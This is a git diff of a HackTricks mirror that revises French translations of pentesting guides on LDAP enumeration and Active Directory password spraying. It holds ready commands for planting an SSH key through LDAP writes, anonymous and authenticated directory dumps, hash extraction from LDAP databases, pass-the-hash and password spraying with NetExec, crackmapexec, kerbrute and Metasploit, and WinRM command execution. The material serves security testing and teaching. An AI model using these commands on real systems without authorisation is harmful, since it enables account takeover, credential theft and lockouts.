mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's
This commit is contained in:
parent
89740ec067
commit
a04b4b0257
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
L'utilisation de **LDAP** (Lightweight Directory Access Protocol) est principalement destinée à localiser diverses entités telles que des organisations, des individus et des ressources comme des fichiers et des dispositifs au sein des réseaux, tant publics que privés. Il offre une approche rationalisée par rapport à son prédécesseur, DAP, en ayant une empreinte de code plus petite.
|
||||
L'utilisation de **LDAP** (Lightweight Directory Access Protocol) sert principalement à localiser diverses entités telles que des organisations, des individus et des ressources comme des fichiers et des appareils au sein de réseaux, publics comme privés. Il offre une approche simplifiée par rapport à son prédécesseur, DAP, en ayant une empreinte de code plus réduite.
|
||||
|
||||
Les annuaires LDAP sont structurés pour permettre leur distribution sur plusieurs serveurs, chaque serveur hébergeant une version **répliquée** et **synchronisée** de l'annuaire, appelée Agent de Système d'Annuaire (DSA). La responsabilité de la gestion des demandes incombe entièrement au serveur LDAP, qui peut communiquer avec d'autres DSA si nécessaire pour fournir une réponse unifiée au demandeur.
|
||||
Les annuaires LDAP sont structurés pour permettre leur distribution sur plusieurs serveurs, chaque serveur hébergeant une version **répliquée** et **synchronisée** de l'annuaire, appelée agent système d'annuaire (Directory System Agent, DSA). La responsabilité du traitement des requêtes incombe entièrement au serveur LDAP, qui peut communiquer avec d'autres DSA si nécessaire pour fournir une réponse unifiée au demandeur.
|
||||
|
||||
L'organisation de l'annuaire LDAP ressemble à une **hiérarchie d'arbre, commençant par le répertoire racine en haut**. Cela se divise en pays, qui se subdivisent ensuite en organisations, puis en unités organisationnelles représentant diverses divisions ou départements, atteignant enfin le niveau des entités individuelles, y compris les personnes et les ressources partagées comme des fichiers et des imprimantes.
|
||||
L'organisation de l'annuaire LDAP ressemble à **une hiérarchie en arbre, commençant par le répertoire racine au sommet**. Celle-ci se ramifie jusqu'aux pays, qui se divisent ensuite en organisations, puis en unités organisationnelles représentant différentes divisions ou départements, pour enfin atteindre le niveau des entités individuelles, incluant à la fois les personnes et les ressources partagées comme les fichiers et les imprimantes.
|
||||
|
||||
**Port par défaut :** 389 et 636 (ldaps). Le Catalogue Global (LDAP dans ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.
|
||||
**Port par défaut :** 389 et 636 (ldaps). Global Catalog (LDAP in ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### LDAP Data Interchange Format
|
||||
|
||||
LDIF (LDAP Data Interchange Format) définit le contenu du répertoire comme un ensemble d'enregistrements. Il peut également représenter des demandes de mise à jour (Ajouter, Modifier, Supprimer, Renommer).
|
||||
LDIF (LDAP Data Interchange Format) définit le contenu de l'annuaire comme un ensemble d'enregistrements. Il peut aussi représenter des requêtes de mise à jour (Add, Modify, Delete, Rename).
|
||||
```bash
|
||||
dn: dc=local
|
||||
dc: local
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Les lignes 1-3 définissent le domaine de premier niveau local
|
||||
- Les lignes 5-8 définissent le domaine de premier niveau moneycorp (moneycorp.local)
|
||||
- Les lignes 1-3 définissent le top level domain local
|
||||
- Les lignes 5-8 définissent le first level domain moneycorp (moneycorp.local)
|
||||
- Les lignes 10-16 définissent 2 unités organisationnelles : dev et sales
|
||||
- Les lignes 18-26 créent un objet du domaine et assignent des attributs avec des valeurs
|
||||
|
||||
## Écrire des données
|
||||
|
||||
Notez que si vous pouvez modifier des valeurs, vous pourriez être en mesure d'effectuer des actions vraiment intéressantes. Par exemple, imaginez que vous **pouvez changer l'information "sshPublicKey"** de votre utilisateur ou de n'importe quel utilisateur. Il est très probable que si cet attribut existe, alors **ssh lit les clés publiques depuis LDAP**. Si vous pouvez modifier la clé publique d'un utilisateur, vous **pourrez vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh**.
|
||||
Notez que si vous pouvez modifier des valeurs, vous pourriez être capable d'effectuer des actions vraiment intéressantes. Par exemple, imaginez que vous **pouvez changer l'information "sshPublicKey"** de votre utilisateur ou de n'importe quel utilisateur. Il est fort probable que si cet attribut existe, alors **ssh lit les clés publiques depuis LDAP**. Si vous pouvez modifier la clé publique d'un utilisateur, vous **pourrez vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -64,30 +64,55 @@ True
|
||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||
```
|
||||
## Sniffer les identifiants en texte clair
|
||||
## Sniff clear text credentials
|
||||
|
||||
Si LDAP est utilisé sans SSL, vous pouvez **sniffer les identifiants en texte clair** dans le réseau.
|
||||
Si LDAP est utilisé sans SSL, vous pouvez **sniff credentials in plain text** sur le réseau.
|
||||
|
||||
De plus, vous pouvez effectuer une attaque **MITM** dans le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez réaliser une **attaque de rétrogradation** afin que le client utilise les **identifiants en texte clair** pour se connecter.
|
||||
De plus, vous pouvez effectuer une attaque **MITM** sur le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez lancer une **Downgrade Attack** pour que le client utilise les **credentials in clear text** pour se connecter.
|
||||
|
||||
**Si SSL est utilisé**, vous pouvez essayer de faire un **MITM** comme mentionné ci-dessus, mais en offrant un **faux certificat**. Si l'**utilisateur l'accepte**, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.
|
||||
**If SSL is used** vous pouvez essayer de réaliser un **MITM** comme indiqué ci‑dessus, mais en proposant un **false certificate** ; si le **user accepts it**, vous êtes alors capable de Downgrade la méthode d'authentification et de voir à nouveau les credentials.
|
||||
|
||||
## Accès anonyme
|
||||
## Anonymous Access
|
||||
|
||||
### Contourner la vérification SNI TLS
|
||||
### Bypass TLS SNI check
|
||||
|
||||
Selon [**cet article**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), simplement en accédant au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme :
|
||||
Selon [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) juste en accédant au serveur LDAP avec un nom de domaine arbitraire (comme company.com) il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme :
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP anonymous binds
|
||||
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète d'utilisateurs, de groupes, d'ordinateurs, d'attributs de compte utilisateur et de la politique de mot de passe du domaine. C'est une **configuration héritée**, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
|
||||
Cependant, les administrateurs ont pu avoir besoin de **configurer une application particulière pour permettre les connexions anonymes** et ont donné plus d'accès que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, comme la liste complète des utilisateurs, groupes, ordinateurs, attributs de comptes utilisateur et la politique de mot de passe du domaine. Il s'agit d'une **configuration héritée**, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
|
||||
Cependant, les admins ont parfois dû **configurer une application particulière pour autoriser les anonymous binds** et ont accordé plus d'accès que prévu, donnant ainsi aux utilisateurs non authentifiés l'accès à tous les objets dans AD.
|
||||
|
||||
## Valid Credentials
|
||||
### Énumération LDAP anonyme avec NetExec (null bind)
|
||||
|
||||
Si vous avez des identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur le Domain Admin en utilisant :
|
||||
Si le null/anonymous bind est autorisé, vous pouvez récupérer les utilisateurs, groupes et attributs directement via le module LDAP de NetExec sans creds. Filtres utiles :
|
||||
- (objectClass=*) pour inventorier les objets sous une base DN
|
||||
- (sAMAccountName=*) pour récupérer les user principals
|
||||
|
||||
Exemples:
|
||||
```bash
|
||||
# Enumerate objects from the root DSE (base DN autodetected)
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||
|
||||
# Dump users with key attributes for spraying and targeting
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||
|
||||
# Extract just the sAMAccountName field into a list
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||
```
|
||||
Ce qu'il faut rechercher :
|
||||
- sAMAccountName, userPrincipalName
|
||||
- memberOf et placement dans les OU pour cibler les targeted sprays
|
||||
- pwdLastSet (schémas temporels), userAccountControl flags (disabled, smartcard required, etc.)
|
||||
|
||||
Remarque : Si anonymous bind n'est pas autorisé, vous verrez généralement une Operations error indiquant qu'un bind est requis.
|
||||
|
||||
## Identifiants valides
|
||||
|
||||
Si vous disposez d'identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur l'administrateur de domaine en utilisant :
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
@ -100,7 +125,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
|
||||
|
||||
### Automatisé
|
||||
|
||||
En utilisant cela, vous pourrez voir les **informations publiques** (comme le nom de domaine)**:**
|
||||
Avec ceci, vous pourrez voir les **informations publiques** (comme le nom de domaine)**:**
|
||||
```bash
|
||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
```
|
||||
@ -112,7 +137,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
Vous pouvez essayer d'**énumérer un LDAP avec ou sans identifiants en utilisant python** : `pip3 install ldap3`
|
||||
|
||||
Tout d'abord, essayez de **vous connecter sans** identifiants :
|
||||
Essayez d'abord de **vous connecter sans** identifiants :
|
||||
```bash
|
||||
>>> import ldap3
|
||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||
@ -121,7 +146,7 @@ Tout d'abord, essayez de **vous connecter sans** identifiants :
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
Si la réponse est `True` comme dans l'exemple précédent, vous pouvez obtenir des **données intéressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) à partir de :
|
||||
Si la réponse est `True` comme dans l'exemple précédent, vous pouvez obtenir certaines **données intéressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) à partir de:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -129,13 +154,13 @@ Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requêtes plus intéressantes. Cette requête simple devrait vous montrer tous les objets dans le répertoire :
|
||||
Une fois que vous avez le naming context, vous pouvez effectuer des requêtes plus intéressantes. Cette requête simple devrait vous montrer tous les objets du répertoire :
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
>> connection.entries
|
||||
```
|
||||
Ou **dump** tout l'ldap :
|
||||
Ou **dump** tout le ldap:
|
||||
```bash
|
||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||
True
|
||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
||||
```
|
||||
### ldapsearch
|
||||
|
||||
Vérifiez les identifiants nuls ou si vos identifiants sont valides :
|
||||
Vérifier les identifiants nuls ou si vos identifiants sont valides :
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
@ -173,9 +198,9 @@ result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Si vous trouvez quelque chose disant que le "_bind doit être complété_" signifie que les identifiants sont incorrects.
|
||||
Si vous voyez quelque chose indiquant que "_bind must be completed_" cela signifie que les credentials sont incorrects.
|
||||
|
||||
Vous pouvez extraire **tout d'un domaine** en utilisant :
|
||||
Vous pouvez extraire **tout depuis un domaine** en utilisant :
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
-x Simple Authentication
|
||||
@ -184,36 +209,36 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
||||
-w My password
|
||||
-b Base site, all data from here will be given
|
||||
```
|
||||
Extraire **utilisateurs** :
|
||||
Extraire **utilisateurs**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
```
|
||||
**ordinateurs**
|
||||
Extraire **ordinateurs**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extraire **mes informations** :
|
||||
Extraire **mes informations**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extraire **Domain Admins** :
|
||||
Extraire **Domain Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extraire **Domain Users** :
|
||||
Extraire **Domain Users**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extraire **Enterprise Admins** :
|
||||
Extraire **Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Administrateurs**:
|
||||
Extraire **Administrators**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Groupe de Bureau à Distance**:
|
||||
Extraire **Remote Desktop Group**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -221,12 +246,12 @@ Pour voir si vous avez accès à un mot de passe, vous pouvez utiliser grep apr
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas être les réels...
|
||||
Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas être les vrais...
|
||||
|
||||
#### pbis
|
||||
|
||||
Vous pouvez télécharger **pbis** ici : [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) et il est généralement installé dans `/opt/pbis`.\
|
||||
**Pbis** vous permet d'obtenir des informations de base facilement :
|
||||
**Pbis** permet d'obtenir facilement des informations de base :
|
||||
```bash
|
||||
#Read keytab file
|
||||
./klist -k /etc/krb5.keytab
|
||||
@ -255,13 +280,13 @@ Vous pouvez télécharger **pbis** ici : [https://github.com/BeyondTrust/pbis-op
|
||||
./list-groups-for-user <username>
|
||||
./lsa list-groups-for-user <username>
|
||||
#Get groups of each user
|
||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get users of a group
|
||||
./enum-members --by-name "domain admins"
|
||||
./lsa enum-members --by-name "domain admins"
|
||||
#Get users of each group
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get description of each user
|
||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||
@ -270,49 +295,49 @@ echo "$line";
|
||||
echo "======================"
|
||||
done
|
||||
```
|
||||
## Interface Graphique
|
||||
## Interface graphique
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Téléchargez Apache Directory ici**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [exemple d'utilisation de cet outil ici](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
Vous pouvez télécharger une interface graphique avec un serveur LDAP ici : [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
Vous pouvez télécharger une interface graphique avec serveur LDAP ici: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
Par défaut, il est installé dans : _/opt/jxplorer_
|
||||
Par défaut, il est installé dans: _/opt/jxplorer_
|
||||
|
||||
.png>)
|
||||
|
||||
### Godap
|
||||
|
||||
Godap est une interface utilisateur de terminal interactive pour LDAP qui peut être utilisée pour interagir avec des objets et des attributs dans AD et d'autres serveurs LDAP. Il est disponible pour Windows, Linux et MacOS et prend en charge les liaisons simples, pass-the-hash, pass-the-ticket et pass-the-cert, ainsi que plusieurs autres fonctionnalités spécialisées telles que la recherche/création/changement/suppression d'objets, l'ajout/retrait d'utilisateurs dans des groupes, le changement de mots de passe, l'édition des permissions d'objet (DACLs), la modification de DNS intégré à Active Directory (ADIDNS), l'exportation vers des fichiers JSON, etc.
|
||||
Godap est une interface utilisateur interactive en terminal pour LDAP qui peut être utilisée pour interagir avec des objets et des attributs dans AD et d'autres serveurs LDAP. Il est disponible pour Windows, Linux et MacOS et prend en charge les simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, ainsi que plusieurs autres fonctionnalités spécialisées telles que la recherche/création/modification/suppression d'objets, l'ajout/la suppression d'utilisateurs dans des groupes, le changement de mots de passe, l'édition des permissions d'objet (DACLs), la modification du Active-Directory Integrated DNS (ADIDNS), l'export vers des fichiers JSON, etc.
|
||||
|
||||

|
||||
|
||||
Vous pouvez y accéder à [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Pour des exemples d'utilisation et des instructions, lisez le [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
Vous pouvez le trouver sur [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Pour des exemples d'utilisation et des instructions, lisez le [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
|
||||
### Ldapx
|
||||
|
||||
Ldapx est un proxy LDAP flexible qui peut être utilisé pour inspecter et transformer le trafic LDAP d'autres outils. Il peut être utilisé pour obfusquer le trafic LDAP afin de tenter de contourner les outils de protection de l'identité et de surveillance LDAP et implémente la plupart des méthodes présentées dans la présentation [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
Ldapx est un proxy LDAP flexible qui peut être utilisé pour inspecter & transformer le trafic LDAP provenant d'autres outils. Il peut être utilisé pour obfusquer le trafic LDAP afin de tenter de contourner les outils de protection d'identité & de surveillance LDAP et implémente la plupart des méthodes présentées dans la conférence [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
|
||||

|
||||
|
||||
Vous pouvez l'obtenir à partir de [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
Vous pouvez l'obtenir depuis [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
|
||||
## Authentification via kerberos
|
||||
|
||||
En utilisant `ldapsearch`, vous pouvez **vous authentifier** contre **kerberos au lieu** de via **NTLM** en utilisant le paramètre `-Y GSSAPI`
|
||||
En utilisant `ldapsearch`, vous pouvez **vous authentifier** via **kerberos** plutôt que via **NTLM** en utilisant le paramètre `-Y GSSAPI`
|
||||
|
||||
## POST
|
||||
|
||||
Si vous pouvez accéder aux fichiers où les bases de données sont contenues (cela pourrait être dans _/var/lib/ldap_). Vous pouvez extraire les hachages en utilisant :
|
||||
Si vous pouvez accéder aux fichiers contenant les bases de données (ils peuvent se trouver dans _/var/lib/ldap_). Vous pouvez extraire les hashes en utilisant:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
Vous pouvez alimenter john avec le mot de passe hash (de '{SSHA}' à 'structural' sans ajouter 'structural').
|
||||
Vous pouvez fournir à john le password hash (de '{SSHA}' à 'structural' sans ajouter 'structural').
|
||||
|
||||
### Fichiers de Configuration
|
||||
### Fichiers de configuration
|
||||
|
||||
- Général
|
||||
- containers.ldif
|
||||
@ -335,7 +360,7 @@ Vous pouvez alimenter john avec le mot de passe hash (de '{SSHA}' à 'structural
|
||||
- Sun ONE Directory Server 5.1
|
||||
- 75sas.ldif
|
||||
|
||||
## HackTricks Commandes Automatiques
|
||||
## Commandes automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||
@ -378,4 +403,10 @@ Entry_7:
|
||||
Name: Netexec LDAP BloodHound
|
||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||
```
|
||||
## Références
|
||||
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
|
||||
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -5,14 +5,14 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Une fois que vous avez trouvé plusieurs **valid usernames** vous pouvez essayer les **common passwords** (gardez à l'esprit la password policy de l'environnement) avec chacun des users découverts.\
|
||||
Une fois que vous avez trouvé plusieurs **valid usernames** vous pouvez essayer les **common passwords** les plus courants (gardez à l'esprit le **password policy** de l'environnement) avec chacun des utilisateurs découverts.\
|
||||
Par **default** la **minimum** **password** **length** est **7**.
|
||||
|
||||
Des listes de common usernames peuvent aussi être utiles : [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Notez que vous **could lockout some accounts if you try several wrong passwords** (by default more than 10).
|
||||
Remarquez que vous **could lockout some accounts if you try several wrong passwords** (par défaut plus de 10).
|
||||
|
||||
### Obtenir la password policy
|
||||
### Obtenir password policy
|
||||
|
||||
Si vous avez des user credentials ou un shell en tant que domain user, vous pouvez **get the password policy with**:
|
||||
```bash
|
||||
@ -31,15 +31,30 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Exploitation depuis Linux (ou toute autre plateforme)
|
||||
### Exploitation depuis Linux (ou toutes plateformes)
|
||||
|
||||
- Utilisation de **crackmapexec :**
|
||||
- En utilisant **crackmapexec:**
|
||||
```bash
|
||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
- Utiliser **NetExec (successeur de CME)** pour du spraying ciblé et peu bruyant via SMB/WinRM:
|
||||
```bash
|
||||
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||
|
||||
# Spray a single candidate password against harvested users over SMB
|
||||
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||
--continue-on-success --no-bruteforce --shares
|
||||
|
||||
# Validate a hit over WinRM (or use SMB exec methods)
|
||||
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||
|
||||
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||
sudo ntpdate <DC_FQDN>
|
||||
```
|
||||
- Utiliser [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
```bash
|
||||
# Password Spraying
|
||||
@ -47,20 +62,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les lockouts):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RECOMMANDÉ, PARFOIS NE FONCTIONNE PAS
|
||||
- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RECOMMANDÉ PARFOIS NE FONCTIONNE PAS
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
```
|
||||
- Avec le module `scanner/smb/smb_login` de **Metasploit**:
|
||||
- Avec le `scanner/smb/smb_login` module de **Metasploit** :
|
||||
|
||||
.png>)
|
||||
|
